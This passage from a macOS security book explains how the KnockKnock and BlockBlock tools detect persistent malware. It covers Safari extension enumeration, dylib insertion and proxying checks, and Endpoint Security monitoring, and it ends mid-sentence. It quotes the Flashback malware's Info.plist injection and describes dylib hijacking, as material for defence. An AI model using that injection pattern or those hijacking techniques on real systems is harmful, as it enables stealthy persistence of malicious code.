        [browsers addObject:browser.path];
    }
}

Listing 10-15: Obtaining a list of installed browsers with the URLsForApplicationsToOpenURL: method

You can find the code to enumerate Safari browser extensions in the 
scanExtensionsSafari: method of KnockKnock’s browser extension plug-in. 
In Listing 10-16, the code invokes this method with Safari’s location, found 
using the previous code.
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NSArray* installedBrowsers = [self getInstalledBrowsers];

for(NSString* installedBrowser in installedBrowsers) {
    if(NSNotFound != [installedBrowser rangeOfString:@"Safari.app"].location) {
        [self scanExtensionsSafari:installedBrowser];
    }
    ...
}

Listing 10-16: Invoking Safari-specific logic to enumerate its extensions

The location of Safari’s browser extensions has changed over the years; 
you could find them in the ~/Library/Safari/Extensions directory until Apple 
decided to move them into the keychain. Older versions of KnockKnock 
tried to keep up with these changes, but now, it uses a simpler method: 
executing the macOS pluginkit utility (Listing 10-17).

for(NSString* match in @[@"com.apple.Safari.extension", @"com.apple.Safari.content-blocker"]) {
    NSData* taskOutput = execTask(PLUGIN_KIT, @[@"-mAvv", @"-p", match]);
    ...
}

Listing 10-17: Enumerating installed Safari extensions

The -m argument finds all plug-ins that match the search criteria specified 
in the -p argument; the -A argument returns all versions of the installed plug-
ins, rather than just the highest version; and -vv returns verbose output that 
includes the display name and parent bundle. For the -p argument, we first 
use com.apple.Safari.extension, then com.apple.Safari.content-blocker. This 
ensures that we enumerate both traditional extensions and content blocker 
extensions.

We execute pluginkit in a helper function we’ve named execTask (dis-
cussed in Chapter 1), which simply launches the specified program along 
with any specified arguments and returns the output to the caller. Try run-
ning pluginkit yourself to enumerate the Safari extensions installed on your 
Mac. In the following output, you can see that I’ve installed an ad blocker:

% pluginkit -mAvv -p com.apple.Safari.extension
...
org.adblockplus.adblockplussafarimac.AdblockPlusSafariToolbar
Path = /Applications/Adblock Plus.app/Contents/PlugIns/Adblock Plus Toolbar.appex
UUID = 87C62A05-974F-4E6C-81EE-304D4548DA60
SDK = com.apple.Safari.extension
Parent Bundle = /Applications/Adblock Plus.app
Display Name = ABP Control Panel
Short Name = $(PRODUCT_NAME)
Parent Name = Adblock Plus
Platform = macOS

Leveraging this external binary has the downside of introducing 
a dependency and the need to parse its output, but it’s still the most 
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reliable option. There are many ways to parse any output. In Listing 10-18, 
KnockKnock takes the approach of extracting each extension’s name, path, 
and UUID.

-(void)parseSafariExtensions:(NSData*)extensions browserPath:(NSString*)browserPath {
    NSMutableDictionary* extensionInfo = [NSMutableDictionary dictionary];

    extensionInfo[KEY_RESULT_PLUGIN] = self;
    extensionInfo[KEY_EXTENSION_BROWSER] = browserPath;

    for(NSString* line in
    [[[NSString alloc] initWithData:extensions encoding:NSUTF8StringEncoding]
    componentsSeparatedByCharactersInSet:[NSCharacterSet newlineCharacterSet]]) {
        NSArray* components = [[line stringByTrimmingCharactersInSet:
        [NSCharacterSet whitespaceCharacterSet]] componentsSeparatedByString:@"="];
        // key and value set to first and last component

        if(YES == [key isEqualToString:@"Display Name"]) {
            extensionInfo[KEY_RESULT_NAME] = value;
        } else if(YES == [key isEqualToString:@"Path"]) {
            extensionInfo[KEY_RESULT_PATH] = value;
        } else if(YES == [key isEqualToString:@"UUID"]) {
            extensionInfo[KEY_EXTENSION_ID] = value;
        }
        ...
    }
}

Listing 10-18: Parsing output containing installed Safari extensions

The parsing code separates the output line by line, then splits each 
line into key-value pairs using an equal sign (=) as a delimiter. This will, for 
example, split the line Path = /Applications/Adblock Plus.app/Contents/PlugIns/
Adblock Plus Toolbar.appex into the key Path and a value containing the path 
to the installed ad blocker extension. The code then extracts key-value 
pairs of interest, such as the path, name, and UUID.

Using the path to the extension, we load its Info.plist file and extract 
a description of the extension from the NSHumanReadableDescription key 
(Listing 10-19).

details = [NSDictionary dictionaryWithContentsOfFile:
[NSString stringWithFormat:@"%@/Contents/Info.plist",
extensionInfo[KEY_RESULT_PATH]]][@"NSHumanReadableDescription"];

extensionInfo[KEY_EXTENSION_DETAILS] = details;

Extension* extensionObj = [[Extension alloc] initWithParams:extensionInfo];

Listing 10-19: Initializing an Extension object for each extension

Finally, we create a KnockKnock browser Extension item object with the 
collected extension metadata.
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Dynamic Library Insertion
A malware sample known as Flashback shattered the notion that Apple’s 
operating system was immune to malware.6 Flashback exploited an unpatched 
vulnerability capable of automatically infecting users who browsed to a 
malicious website. Discovered in 2012, it amassed more than half a million 
victims, making it the most successful Mac malware at the time.

Flashback also persisted in a novel and stealthy manner. On an infected 
system, the malware gained user-assisted persistence by subverting Safari’s 
Info.plist file and inserting the following dictionary under a key named 
LSEnvironment:

<key>LSEnvironment</key>
<dict>
  <key>DYLD_INSERT_LIBRARIES</key>
  <string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>
</dict>
...

The dictionary’s DYLD_INSERT_LIBRARIES key contains a string pointing to 
the malicious library UnHackMeBuild. Safari will load this library into the 
browser when launched, where the malware could stealthily execute.

Today, Apple has mostly mitigated dylib insertions via the DYLD_INSERT 
_LIBRARIES environment variable and other approaches. The dynamic loader 
now ignores these variables in a wide range of cases, such as for platform 
binaries or for applications compiled with the hardened runtime.7 However, 
programs supporting third-party plug-ins, especially on older versions of 
macOS, may still be at risk.

As such, KnockKnock contains a plug-in to detect this type of subver-
sion. It scans launch items and applications, checking for the presence of 
a DYLD_INSERT_LIBRARIES entry. For launch items, this entry lives under the 
EnvironmentVariables key in their property list file, and for applications, you 
can find it under a key named LSEnvironment in the app’s Info.plist file, as we 
saw with Flashback. Because legitimate items rarely make use of persistent 
DYLD_INSERT_LIBRARIES insertions, you should closely examine any that you 
uncover.

Other plug-ins require a similar list of all launch items and applica-
tions, so KnockKnock produces this list in a global enumerator. Let’s briefly 
look at how KnockKnock tackles such enumeration, focusing on the case 
of installed apps, as there are multiple ways to list these items on a Mac. 
The least recommended is to manually enumerate bundles found in the com-
mon application directories (such as /Applications), as you’d have to take 
into account subdirectories such as /Applications/Utilities/, as well as user- 
specific applications. Plus, applications could be installed in other locations.

A Stack Overflow post suggests better options.8 These include leverag-
ing the lsregister utility to list all applications that have been registered 
with Launch Services, using the mdfind utility or related Spotlight APIs 
to list all applications indexed by macOS, or making use of the macOS 
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system_profiler utility to obtain a list of applications known to the operating 
system’s software configuration.

KnockKnock opts for the system_profiler approach. The tool can output 
XML or JSON, which is easy to programmatically ingest and parse. Here 
is an example of XML output, along with the metadata for an instance of 
KnockKnock installed on my computer:

% system_profiler SPApplicationsDataType -xml
<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<array>
    <dict>
    ...
    <key>_items</key>
    <array>
        <dict>
             <key>_name</key>
             <string>KnockKnock</string>
             <key>arch_kind</key>
             <string>arch_arm_i64</string>
             ...
             <key>path</key>
             <string>/Applications/KnockKnock.app</string>
             <key>signed_by</key>
             <array>
                <string>Developer ID Application: Objective-See, LLC (VBG97UB4TA)</string>
                <string>Developer ID Certification Authority</string>
                <string>Apple Root CA</string>
             </array>
             <key>version</key>
             <string>2.5.0</string>
        </dict>
        ...

KnockKnock executes system_profiler via the execTask helper function 
discussed earlier in this chapter (Listing 10-20).

-(void)enumerateApplications {
    NSData* taskOutput = execTask(SYSTEM_PROFILER, @[@"SPApplicationsDataType", @"-xml"]); 1

    NSArray* serializedOutput =
    [NSPropertyListSerialization propertyListWithData:taskOutput
    options:kNilOptions format:NULL error:NULL]; 2

    self.applications = serializedOutput[0][@"_items"]; 3
}

Listing 10-20: Installed applications enumerated via system_profiler

Once this helper function returns 1, KnockKnock serializes the XML 
output into an Objective-C object 2, then saves the list of applications found 
under the _items key into an instance variable aptly named applications 3.
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Now that KnockKnock’s global enumerator has obtained a list of appli-
cations (and launch items, although I didn’t show this logic here), the dylib 
insertion plug-in can scan each, looking for the addition of the DYLD_INSERT 
_LIBRARIES environment variable. Listing 10-21 shows this implementation in 
a method called scanApplications.

-(void)scanApplications {
    ...
    for(NSDictionary* installedApp in sharedItemEnumerator.applications) { 1
        NSBundle* appBundle = [NSBundle bundleWithPath:installedApp[@"path"]]; 2
        NSURL* appPlist = appBundle.infoDictionary[@"CFBundleInfoPlistURL"]; 3
        NSDictionary* enviroVars = appBundle.infoDictionary[@"LSEnvironment"]; 4

        if( (nil == enviroVars) ||
            (nil == enviroVars[@"DYLD_INSERT_LIBRARIES"]) ) {
            continue;
        }

        NSString* dylibPath = enviroVars[@"DYLD_INSERT_LIBRARIES"]; 5

        File* fileObj = [[File alloc] initWithParams:
        @{KEY_RESULT_PLUGIN:self, KEY_RESULT_PATH:dylibPath, KEY_RESULT_PLIST:appPlist.path}];

        [super processItem:fileObj];
    }
}

Listing 10-21: Enumerating applications containing an inserted environment variable

The code iterates over all apps found by the global enumerator 1. 
For each, it uses the application’s path to load the application’s bundle 2, 
which has useful metadata about the application. This includes the con-
tents of the app’s Info.plist file, which we can access through the bundle 
object’s infoDictionary property. After extracting the path to the Info.plist 
file 3, it uses the key LSEnvironment to extract the dictionary containing 
specific environment variables 4. Of course, most apps won’t set any envi-
ronment variables, so the code skips these. However, for those that have the 
DYLD_INSERT_LIBRARIES key set, the code extracts its value: a path to the library 
inserted each time the application is run 5. In Flashback, which subverted 
Safari, recall that the key-value pair looks like this:

<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Safari.app/Contents/Resources/UnHackMeBuild</string>

Finally, the code in the plug-in creates and processes a File item object 
representing the inserted library, saving it to the list of persistent items uncov-
ered by KnockKnock to then print to the terminal or display in the UI.
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Dynamic Library Proxying and Hijacking
The last plug-in I’ll cover in this chapter detects two other persistence 
mechanisms that make use of dynamic libraries. Dylib proxying replaces a  
library on which a target process depends with a malicious library. Whenever 
the target application starts, the malicious dynamic library loads and runs 
as well. To keep the application from losing legitimate functionality, it prox-
ies requests to and from the original library.9

Closely related to dylib proxying is dylib hijacking, which exploits the fact 
that the loader may look for dependencies in multiple locations. Malware 
could take advantage of this behavior by tricking the loader into using a 
malicious dependency instead of a legitimate one. Although malware doesn’t 
commonly abuse this technique, the post-exploitation agent EmPyre supports 
it as a persistence mechanism.10 Dynamic libraries that perform such hijack-
ing also proxy requests to keep from breaking legitimate functionality.

To detect either technique, KnockKnock generates a list of dynamic 
libraries, then checks each for an LC_REEXPORT_DYLIB load command that loads 
and proxies requests to the original library. While this load command is 
legitimate, benign libraries rarely use it, so we should closely examine any 
that do.

Unfortunately, there isn’t a simple way to list all dynamic libraries 
installed on a macOS system, so KnockKnock focuses on those that are 
currently open or loaded by running processes. This approach isn’t as 
 comprehensive as a scan of the entire system, but then again, any persisted 
malware is probably running somewhere.

To build a list of loaded libraries, KnockKnock runs the lsof utility to 
list all open files on the system, then filters out everything but executables. 
If a dynamic library has been loaded somewhere, there should be an open 
file handle to it, which lsof can enumerate.

While getting a list of open files is fairly simple, determining whether 
a file is executable isn’t as easy as you might expect. You can’t just look for 
files whose extension is .dylib because that list wouldn’t include frameworks, 
which are technically libraries but don’t normally end in .dylib. For example, 
take a look at the Electron framework. The file command reports that it is 
indeed a dynamic library, though its extension isn’t .dylib:

% file "/Applications/Signal.app/Contents/Frameworks/Electron
Framework.framework/Electron Framework"
Mach-O 64-bit dynamically linked shared library arm64

Another strategy might be to check which of the open files are binaries 
by checking the file’s executable bit, but this would include scripts and 
other random files on macOS, such as certain archives (which, as we can 
see here, have the executable bit, x, set):

% ls -l /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/
32023/Libraries/lib/clang/32023.26/lib/darwin/libair_rt_iosmac.rtlib
-rwxr-xr-x  1 root  wheel  140328 Oct 19 21:35
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% file /System/Library/PrivateFrameworks/GPUCompiler.framework/Versions/
32023/Libraries/lib/clang/32023.26/lib/darwin/libair_rt_iosmac.rtlib
current ar archive

While you could manually parse each file, looking for a universal or 
Mach-O magic value, it turns out an Apple-provided API can do this for 
you. The relatively unknown CFBundleCopyExecutableArchitecturesForURL API 
extracts the executable architecture of a file, returning NULL or an empty 
array for nonbinary files.11 KnockKnock, which makes use of this API, also 
checks for binaries of supported architectures (Listing 10-22).

BOOL isBinary(NSString* file) {
    static dispatch_once_t once;
    static NSMutableArray* supportedArchitectures = nil;

    dispatch_once(&once, ^ {
        supportedArchitectures = 1
        [@[[NSNumber numberWithInt:kCFBundleExecutableArchitectureI386],
        [NSNumber numberWithInt:kCFBundleExecutableArchitectureX86_64]] mutableCopy];

        if(@available(macOS 11, *)) { 2
            [supportedArchitectures addObject:
            [NSNumber numberWithInt:kCFBundleExecutableArchitectureARM64]];
        }
    });

    CFArrayRef architectures = CFBundleCopyExecutableArchitecturesForURL( 3
    (__bridge CFURLRef)[NSURL fileURLWithPath:file]);

    NSNumber* matchedArchitecture = [(__bridge NSArray*)architectures
    firstObjectCommonWithArray:supportedArchitectures]; 4
    ...
    return nil != matchedArchitecture;
}

Listing 10-22: Determining whether an item is a binary

The isBinary function builds an array of architectures with values for 
both 32 and 64 Intel in a dispatch_once to ensure that the initialization only 
occurs once, as we’ll invoke this function for every file any process has 
open 1. Also, the code makes use of the @available Objective-C keyword to 
only add the ARM64 architecture on versions of macOS that support it 2.

Next, we extract the executable architecture of the passed-in file 3, 
using the firstObjectCommonWithArray: method to check for any of the sup-
ported architectures 4. If we find them, we can be sure that the open file is 
indeed a binary capable of executing on the macOS system. We add these 
binaries to a list of dynamic libraries that KnockKnock will shortly check 
for proxying capabilities.

KnockKnock also enumerates all running processes to extract the 
dependencies of the process’s main binary. Each of these dependencies is 
added to the list of libraries to check (Listing 10-23).
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-(NSMutableArray*)enumLinkedDylibs:(NSArray*)runningProcs {
    NSMutableArray* dylibs = [NSMutableArray array];

    for(NSString* runningProc in runningProcs) { 1
        MachO* machoParser = [[MachO alloc] init]; 2
        [machoParser parse:runningProc classify:NO];

        [dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_DYLIBS]]; 3
        [dylibs addObjectsFromArray:machoParser.binaryInfo[KEY_LC_LOAD_WEAK_DYLIBS]];
    }
    ...
    return [[NSSet setWithArray:dylibs] allObjects]; 4
}

Listing 10-23: Enumerating the dependencies of all running processes

To enumerate all running processes, the plug-in makes use of the proc 
_listallpids API discussed in Chapter 1. Then, to extract each process’s 
dependencies, it invokes a method named enumLinkedDylibs, which iterates 
over each loaded process 1, parses it using a Mach-O class I wrote based 
on code in Chapter 2 2, and saves both strong and weak dependencies 3. 
Finally, the function returns a list containing all dependencies found in all 
running processes 4.

Next, we scan the list of libraries enumerated via lsof and via the run-
ning processes (Listing 10-24).

-(NSMutableArray*)findProxies:(NSMutableArray*)dylibs {
    NSMutableArray* proxies = [NSMutableArray array];

    for(NSString* dylib in dylibs) {
      1 MachO* machoParser = [[MachO alloc] init];
        [machoParser parse:dylib classify:NO];

      2 if(MH_DYLIB != [[machoParser.binaryInfo[KEY_MACHO_HEADERS]
        firstObject][KEY_HEADER_BINARY_TYPE] intValue]) {
            continue;
        }

      3 if([machoParser.binaryInfo[KEY_LC_REEXPORT_DYLIBS] count]) {
            [proxies addObject:dylib];
        }
    }
    return proxies;
}

Listing 10-24: Checking whether a binary is a dynamic library that (likely) performs proxying

For each library to scan, the code snippet parses it via the Mach-O 
class 1. Specifically, it checks the type of binary, ignoring any that aren’t 
explicitly dynamic libraries (identified by the MH_DYLIB type) 2. For dynamic 
libraries, it checks and saves the library if it has a load command of type 
LC_REEXPORT_DYLIB 3.
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The method returns a list of any proxy libraries it finds so KnockKnock 
can display them to the user, either in the terminal or in the UI.

Conclusion
Most Mac malware persists, so a tool that can enumerate persistently installed 
items can uncover even sophisticated or never-before-seen threats. In this 
chapter, we examined KnockKnock, a tool that provides this capability, 
leaving persistent Mac malware with almost no hope of remaining unde-
tected. In the next chapter, we’ll explore persistence further and cover a 
tool capable of detecting persistent Mac malware in real time.
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While KnockKnock, covered in the previ-
ous chapter, provides a powerful detection 

capability, it doesn’t protect the system in real 
time. To complement it, I created BlockBlock, 

which monitors the most important persistence locations 
enumerated by KnockKnock, alerts the user whenever 
a new item appears, and gives them the ability to block 
the activity.

BlockBlock’s initial versions, written in 2014, were largely proofs of 
concept, which didn’t stop employees from commercial security companies 
from labeling the tool “lam[e]ware” and concluding that “providing quality 
service for nothing can’t be a one-person job.”1 Over the years, BlockBlock 
has matured, consistently proving its merit with a near 100 percent detec-
tion rate of persistent Mac malware, even without prior knowledge of 
these threats.

11
P E R S I S T E N C E  M O N I T O R
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In this chapter, I’ll discuss BlockBlock’s design and show how it uses 
Endpoint Security to effectively detect unauthorized persistence events. 
You’ll learn how to request and apply the required Endpoint Security client 
entitlement and how XPC can allow tool components to securely communicate 
with one another. You can find BlockBlock’s source code in its entirety in the 
Objective-See GitHub repository at https://github.com/objective-see/BlockBlock.

Entitlements
Multiple BlockBlock components leverage Endpoint Security, which means 
the tool must receive a privileged entitlement from Apple. Without the enti-
tlement, attempts to create an Endpoint Security client at runtime will fail 
unless we’ve disabled System Integrity Protection (SIP) and Apple Mobile 
File Integrity (AMFI). So, let’s start by walking through the process of 
requesting the Endpoint Security client entitlement from Apple and, once 
it’s granted, applying it to BlockBlock.

Applying for Endpoint Security Entitlements
You can apply for Endpoint Security entitlements at https://developer.apple 
.com/contact/request/system-extension/. The request form asks for developer 
information, such as your name and company, then presents a drop-down 
menu containing a list of entitlements you can request. Select the Endpoint 
Security client entitlement, com.apple.developer.endpoint-security.client. 
At the bottom of the form, describe how you intend to use the entitlement 
you’re requesting.

Given the power of Endpoint Security, Apple is understandably cautious  
about granting requests for the client entitlement, even to renowned secu-
rity companies. That said, you can take several measures to improve your 
chances of receiving one. First, register as a company, such as an LLC or 
equivalent. I’m aware of only one instance in which Apple granted the 
Endpoint Security client entitlement to an individual. Second, in your 
request, make sure to describe exactly what you plan to do with the entitle-
ment. The Endpoint Security client entitlement is designed for security 
tools, so include details of the tool you’re developing and articulate exactly 
why it needs the use of Endpoint Security. Finally, be prepared to wait.

Registering App IDs
Once Apple has granted you the entitlement, you must register an App ID for 
your tool, specifying its bundle ID and the entitlements it will use. Log in to 
your Apple Developer account, click Account, then navigate to Certificates, 
Identifiers & ProfilesIdentifiers. If you have any existing identifiers, they 
should show up here. To create a new identifier, click +. Select App IDs, then 
click Continue. Select App and Continue again.

This should bring you to the App ID registration form. Most of the 
fields are self-explanatory. For the Bundle ID, Apple recommends using a 
reverse-domain name style, generally in the form com.company.product. For 
BlockBlock, I populated the fields as shown in Figure 11-1.

https://github.com/objective-see/BlockBlock
https://developer.apple.com/contact/request/system-extension/
https://developer.apple.com/contact/request/system-extension/
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Figure 11-1: Registering the BlockBlock app ID

In the remainder of the form, you’ll see options to specify either capabili-
ties, app services, or additional capabilities for your tool. Assuming Apple 
has granted you the Endpoint Security client entitlement, click Additional 
Capabilities, then select the checkbox next to Endpoint Security. To register 
the new identifier, click Register.

Creating Provisioning Profiles
Now you can create the provisioning profile, which provides the mechanism 
that the operating system will use to authorize the use of the entitlement at 
runtime.2 Clicking Profiles in your Developer Account should take you to 
a page containing all of your current profiles. You can also register a new 
profile by clicking +. On the first page, specify the provisioning profile’s 
type. Unless you’ll be distributing your tool via the Mac App Store, select 
Developer ID at the very bottom of the page. Click Continue, then select 
the App ID you just created.

Next, select the certificate to include in your profile. This is the same 
certificate you’ll use to sign your application, likely your Apple Developer 
certificate. On the next page, you’ll be given a list of available entitlements 
you can add to the provisioning profile. To leverage Endpoint Security, 
select System Extension EndpointSecurity for macOS. If Apple hasn’t yet 
granted you this entitlement, it won’t show up in the list.

Enabling Entitlements in Xcode
Once you’ve generated the provisioning profile, you can head to Xcode to 
add it to your project. First, tell Xcode that your project will use Endpoint 
Security by clicking the small + next to Capabilities in the Signing & 
Capabilities pane and then selecting Endpoint Security capability. Behind 
the scenes, this will add the entitlement to the project’s entitlement file.

Now, when building the tool for deployment, you can select the pro-
visioning profile. The first time you do this, you might have to download 
and import the profile into Xcode. Download the profile you generated 
from your Apple Developer account. Then, in Xcode’s Select Certificate 
and Developer ID Profiles window, select the Import Profile option, found 
in the drop-down menu next to the application’s name, and browse to the 
downloaded profile.
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If all goes well, you should have a compiled, entitled tool that also 
contains the provisioning profile. For example, BlockBlock’s provisioning 
profile is embedded in its app bundle at the standard location, Contents/
embedded.provisionprofile. You can dump any embedded provisioning profile 
by running the macOS security tool, along with the command line flags 
cms -D -i and this path. The following output contains BlockBlock’s App ID, 
information about its code signing certificate, and the entitlements it is 
authorized to use:

% security cms -D -i BlockBlock.app/Contents/embedded.provisionprofile
<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>AppIDName</key>
    <string>BlockBlock</string>
    <key>DeveloperCertificates</key>
    <array>
        <data> ... </data>
    </array>
    <key>Entitlements</key>
    <dict>
        <key>com.apple.developer.endpoint-security.client</key>
        <true/>
        <key>com.apple.application-identifier</key>
        <string>VBG97UB4TA.com.objective-see.blockblock</string>
        ...
    </dict>
    ...

You can use the codesign utility to view any entitlements a program 
possesses. For BlockBlock, this list includes the Endpoint Security client 
entitlement:

% codesign -d --entitlements - BlockBlock.app
Executable=BlockBlock.app/Contents/MacOS/BlockBlock
[Dict]
    [Key] com.apple.application-identifier
    [Value]
        [String] VBG97UB4TA.com.objective-see.blockblock
    [Key] com.apple.developer.endpoint-security.client
    [Value]
        [Bool] true
    ...

Because macOS requires a provisioning profile to authorize the entitle-
ment, even programs not typically developed as applications, such as dae-
mons, must be packaged as application bundles to leverage Endpoint Security. 
You can read more about this design choice in Apple’s documentation,3 which 
also notes that if you switch from a daemon to a system extension, Xcode will 
automatically handle the packaging for you.



Persistence Monitor   257

Tool Design
BlockBlock is composed of two pieces: a launch daemon and a login item. 
The daemon is packaged as an application bundle to accommodate the use 
of entitlements and provisioning profiles. It runs in the background with 
root privileges, monitoring for persistence events (by ingesting file input/
output and other events delivered from Endpoint Security), managing rules, 
and blocking user-specified persistent items. Anytime it detects a persistence 
event, the daemon sends an XPC message to the login item. The login item, 
which runs in the context of the user’s desktop session and thus is capable 
of displaying user interface (UI) elements, will then show the user an alert 
(Figure 11-2).

Figure 11-2: A BlockBlock alert

BlockBlock’s alerts contain plenty of information about the item that 
installed the persistent item and the persistent item itself. This informa-
tion can assist the user in deciding whether to allow or delete the item. 
For example, various red flags in the alert shown in Figure 11-2 indicate 
an infection. First, the item that installed the launch agent, airportpaird, is 
unsigned, as indicated by the perplexed frowning face. From its path, you 
can also see that it’s running from a temporary directory.

If you turn your attention to the persistent item, you’ll notice that the 
property list is prefixed with com.apple, implying that it belongs to Apple. 
However, it’s installed in the user’s Launch Agent directory, which only 
ever contains third-party agents. Moreover, the persistent item that this prop-
erty list references is installed and runs from a hidden directory (.local). 
Finally, if you manually examined the code signing information of this 
binary, softwareupdate, you would see it is unsigned.

When I originally released BlockBlock in 2014, Apple didn’t yet support 
System Extensions, which is why I placed the tool’s core logic in a launch 
daemon. Today, BlockBlock continues to make use of a daemon even though 
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doing so isn’t strictly necessary, as the approach still has benefits. For one, you 
might want to develop tools that maintain compatibility with older versions of 
macOS. It’s also easy for any sufficiently privileged tool to install and manage 
launch daemons. On the other hand, System Extensions require additional 
entitlements, and to install or remove them, you’ll typically need explicit user 
approval. This adds complexity and requires additional code. Still, there are 
cases where putting your code into a System Extension makes sense, as you’ll 
see in Chapter 13.

Plug-ins
Like KnockKnock, BlockBlock uses statically compiled plug-ins to detect 
multiple types of persistence. Each plug-in is responsible for handling 
either one unique persistent event or several related ones. The tool stores 
metadata about each plug-in in a property list file, including the name of 
the plug-in class, various descriptions of it to customize alerts, and, most 
importantly, a regular expression describing the path or paths of file events 
in which the plug-in is interested. For example, Listing 11-1 shows the meta-
data for the plug-in that monitors file events for the additions of new launch 
daemons and agents.

<dict>
   <key>description</key>
   <string>Launch D &amp; A</string>
   <key>paths</key>
   <array>
      <string>^(\/System|\/Users\/[^\/]+|)\/Library\/(LaunchDaemons|
      LaunchAgents)\/.+\.(?i)plist$</string>
   </array>
   <key>class</key>
   <string>Launchd</string>
   <key>alert</key>
   <string>installed a launch daemon or agent</string>
   ...
</dict>

Listing 11-1: Metadata for the launch item plug-in

The regular expression will be applied to incoming file input/output 
events, matching on those that were ingested due to the addition of prop-
erty lists added to the launch daemons and agents directories such as  
/System/Library/LaunchDaemons or ~/ Library/LaunchAgents.

All plug-ins inherit from a custom base class named PluginBase that 
implements base methods, such as a standard initialization method and 
methods to check whether a file event matches an event of interest. The 
initialization method initWithParams: takes one parameter, a dictionary con-
taining a plug-in’s metadata (Listing 11-2).

-(id)initWithParams:(NSDictionary*)watchItemInfo {
    ...
    NSMutableArray* regexes = [NSMutableArray array];
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    for(NSString* regex in watchItemInfo[@"paths"]) {
        NSRegularExpression* compiledRegex =
        [NSRegularExpression regularExpressionWithPattern:regex
        options:NSRegularExpressionCaseInsensitive error:NULL];

        [self.regexes addObject:compiledRegex];
    }

    self.alertMsg = watchItemInfo[@"alert"];
    self.description = watchItemInfo[@"description"];
    ...
    return self;
}

Listing 11-2: The base class logic for plug-in object initialization

Here, you can see that the method first compiles each of the plug-in’s 
paths of interest into regular expressions and then extracts other values 
from the metadata dictionary to save into instance variables.

Another important base method, isMatch:, accepts a file object rep-
resenting an event from the FileMonitor library, then checks for a match 
against the plug-in paths of interest (Listing 11-3).

-(BOOL)isMatch:(File*)file {
    __block BOOL matched = NO;
    NSString* path = file.destinationPath;

  1 [self.regexes enumerateObjectsWithOptions:NSEnumerationConcurrent
    usingBlock:^(NSRegularExpression* _Nonnull regex, NSUInteger idx, BOOL
    * _Nonnull stop) {

      2 NSTextCheckingResult* match = [regex firstMatchInString:path options:0
        range:NSMakeRange(0, path.length)];
        if( (nil == match) || (NSNotFound == match.range.location) ) {
            return;
        }

      3 matched = YES;
        *stop = YES;
    }];

    return matched;
}

Listing 11-3: Filepath matching

The method runs enumerateObjectsWithOptions:usingBlock: on the array 
of the plug-in’s regular expressions so it can iterate over all of them concur-
rently 1. In the concurrently invoked callback block, it uses the current 
regular expression to check whether the destination file matches an event 
of interest to the plug-in 2. For example, for the launch item plug-in, the 
method will check whether the file event corresponds to the creation of a 
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property list in a launch daemon or agent directory. If a match does occur, 
the method sets a flag and terminates the enumeration 3.

Other methods in the base plug-in class are left for each plug-in to 
implement. For example, the block: method, invoked when the user clicks 
the Block button on the alert, will remove the persistent item. This logic 
must differ based on the type of item persisted. If you’re interested in the 
specific uninstallation logic for each kind of persistent item, take a look at 
the code of each plug-in’s block: method.

At its core, BlockBlock ingests events from the FileMonitor library, which 
leverages Apple’s Endpoint Security. After initializing a FileMonitor object 
with the specific events of interest, it specifies a callback block and then 
begins file monitoring (Listing 11-4).

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_CREATE, ES_EVENT_TYPE_NOTIFY_WRITE,
ES_EVENT_TYPE_NOTIFY_RENAME, ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT}; 1

FileCallbackBlock block = ^(File* file) {
    ...
    [self processEvent:file plugin:nil message:nil]; 2
};

FileMonitor* fileMon = [[FileMonitor alloc] init];
[fileMon start:events count:sizeof(events)/sizeof(events[0]) csOption:csNone callback:block];
...

Listing 11-4: A helper method invoked for each file event

If you look carefully at the Endpoint Security events of interest passed 
to the file monitor, you’ll see both file and process events 1. It makes sense 
to initialize a file monitor with file events, and we need the process events to 
record the arguments of processes creating persistent items. Although not 
every process that persists an item is invoked with arguments, many are, and 
in those cases, we include the arguments in the alert shown to the user to help 
them determine whether the persistence event is benign or malicious. Before 
we discuss the processing of file input/output events, note that the file moni-
tor logic is started by invoking the start:count:csOption:callback: method.

When the file monitor receives events, it invokes the specified callback 
block with a File object representing the event. The callback simply hands 
this object a helper method named processEvent:plugin:message: 2. This 
method calls each plug-in’s isMatch: method to see whether the file event 
matches any persistence locations, such as the creation of a .plist in the 
launch daemon or agent directories. If any plug-in is interested in the file 
event, BlockBlock creates a custom Event object with both the file object 
representing the persistence event and the relevant plug-in.

Next, the method checks whether the event matches any existing rules. 
Rules get created when a user interacts with an alert. They can either allow 
or block persistence items based on factors like the item’s startup file or 
the process responsible for triggering the event. For example, on my devel-
oper box, where I also dabble in photography and photo editing, there are 
rules allowing the creation of various Adobe Creative Cloud launch agents 
(Figure 11-3).
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Figure 11-3: BlockBlock rules can allow or block events from specified processes.

Because Adobe frequently updates these persistent items, without these 
rules I’d be regularly responding to BlockBlock alerts. If it finds a match-
ing rule, BlockBlock automatically takes the action specified in the rule. 
Otherwise, it delivers the event to the BlockBlock login item to show an 
alert to the user. Shortly, we’ll take a closer look at how bidirectional XPC 
achieves this communication. First, though, let’s explore BlockBlock’s use 
of the Endpoint Security Background Task Management events.

Background Task Management Events
One downside to using a global file monitor to detect persistence is that 
it’s rather inefficient, as file events happen almost constantly as part of 
normal system behavior. While we could mitigate the influx of traffic 
using Endpoint Security’s mute inversion capabilities covered in Chapter 9, 
BlockBlock needs to monitor many locations to detect multiple methods of 
persistence, and mute inversion may not fully alleviate the inefficiencies of a 
file monitor–based approach.

A better solution for our purposes would be to subscribe to persis-
tence events rather than file events. In previous chapters, I discussed the 
Background Task Management subsystem, a recent addition to macOS 
that governs the most popular types of persistence, including login items, 
launch agents, and daemons. Background Task Management also added 
two events to Endpoint Security: ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD 
and ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE, which clients can receive 
whenever a login or launch item is persisted or removed.

Recent versions of BlockBlock leverage the first of these events to dep-
recate much of its file monitoring–based approach, providing a significant 
boost in efficiency and simplifying the code base. The tool still monitors 
persistence mechanisms such as cronjobs, however, for which Background 
Task Management doesn’t yet generate Endpoint Security events, so it can’t 
wholly deprecate its file monitoring.

N O T E :  Although Endpoint Security technically added these Background Task Management 
events in macOS 13, they didn’t work correctly. For example, Endpoint Security 
would deliver a notification not just for a newly installed item but for every existing 
